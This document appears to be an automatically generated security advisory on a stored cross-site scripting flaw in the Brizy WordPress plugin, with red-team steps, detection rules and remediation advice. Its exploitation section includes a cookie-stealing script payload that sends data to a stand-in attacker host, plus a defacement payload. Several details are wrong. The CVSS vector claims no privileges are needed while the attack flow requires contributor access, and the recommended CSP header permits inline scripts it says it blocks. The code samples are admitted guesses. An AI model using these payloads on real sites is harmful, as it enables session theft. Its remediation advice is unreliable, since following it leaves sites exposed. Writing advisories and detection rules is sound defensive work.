CVE-2025-32198

Executive Summary

CVE-2025-32198 is a stored Cross-Site Scripting (XSS) vulnerability affecting the Brizy WordPress plugin (versions <= 2.7.7). The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the WordPress admin panel or front-end pages. Given that Brizy is a popular page builder plugin, this flaw poses a significant risk to WordPress sites, potentially enabling session hijacking, defacement, or redirection to malicious domains. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch increases the risk for unmaintained installations.

Supply Chain & Package Security

This vulnerability affects the Brizy WordPress plugin, distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manual upload are affected. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of Brizy elevate the risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability resides in the Brizy plugin’s input handling for page/post content. When a user (typically an editor or admin) creates or edits a page using the Brizy builder, certain fields (e.g., custom CSS, HTML blocks, or dynamic content) are not properly sanitized before being stored in the database. When the page is rendered, the unsanitized input is output directly into the HTML, allowing an attacker to inject arbitrary JavaScript.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates a new page/post using Brizy.
2. In a vulnerable field (e.g., a custom HTML block or a dynamic content placeholder), the attacker injects a payload like <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database without sanitization.
4. When an administrator or visitor views the page, the script executes in their browser context.

Root Cause: The plugin fails to apply proper output encoding or input validation on user-supplied data before rendering it in the browser. This is a classic stored XSS (CWE-79) flaw.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. In a patched version, the plugin would use WordPress’s built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable Code (hypothetical):

// In Brizy's render function
echo $user_input; // Direct output without sanitization

Patched Code (hypothetical):

// In Brizy's render function
echo esc_html( $user_input ); // Properly escaped output

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with Brizy plugin <= 2.7.7 installed and activated.
• An account with at least Contributor role (or Editor/Admin).

Steps:

1. Log in to WordPress admin panel.
2. Navigate to Pages > Add New.
3. Use the Brizy builder to add a new block (e.g., HTML block).
4. In the HTML block, insert the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the page.
6. When an admin visits the page, the script executes, exfiltrating their session cookie.

Alternative Payload (for defacement):

<script>document.body.innerHTML='<h1>Hacked by Attacker</h1>'</script>

Blue Team (Defender)

Detection:

• Monitor for unusual page/post content containing <script> tags or event handlers.
• Use WAF rules to block common XSS patterns in POST requests to wp-admin/post.php.
• Review user activity logs for suspicious page creation by low-privilege users.

Mitigation:

• Disable the Brizy plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a Web Application Firewall (WAF) with XSS detection rules.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – plugin files unchanged)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com)
  • HTTP requests containing document.cookie in the body
• Log Entries:
  • WordPress debug log entries showing unsanitized input in page content
  • Web server logs with POST requests to /wp-admin/post.php containing <script> tags
• Database Indicators:
  • Rows in wp_posts table with post_content containing <script> tags

Detection Engineering

YARA Rule

rule CVE_2025_32198_Brizy_XSS {
    meta:
        description = "Detects stored XSS payloads in Brizy plugin content"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-32198"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-32198 Brizy Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in Brizy plugin content via web server logs
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
        cs-body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content by trusted users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32198 Brizy Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; pcre:"/(document\.cookie|fetch|XMLHttpRequest)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Brizy plugin until a patch is released.
2. Review and clean any existing pages/posts created with Brizy for malicious content.
3. Implement CSP headers to block inline scripts:

   Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
   

4. Use a WAF with rules to block XSS patterns in POST requests.

Long-term Fix:

• Monitor the Brizy plugin repository for a patched version (>= 2.7.8).
• Apply the update as soon as it becomes available.
• Educate users with contributor roles about the risks of XSS.

Workaround:

• Restrict page creation privileges to trusted users only.
• Use a security plugin like Wordfence to add an additional layer of XSS protection.

Report generated by Valters IT DevSecOps & CTI Expert System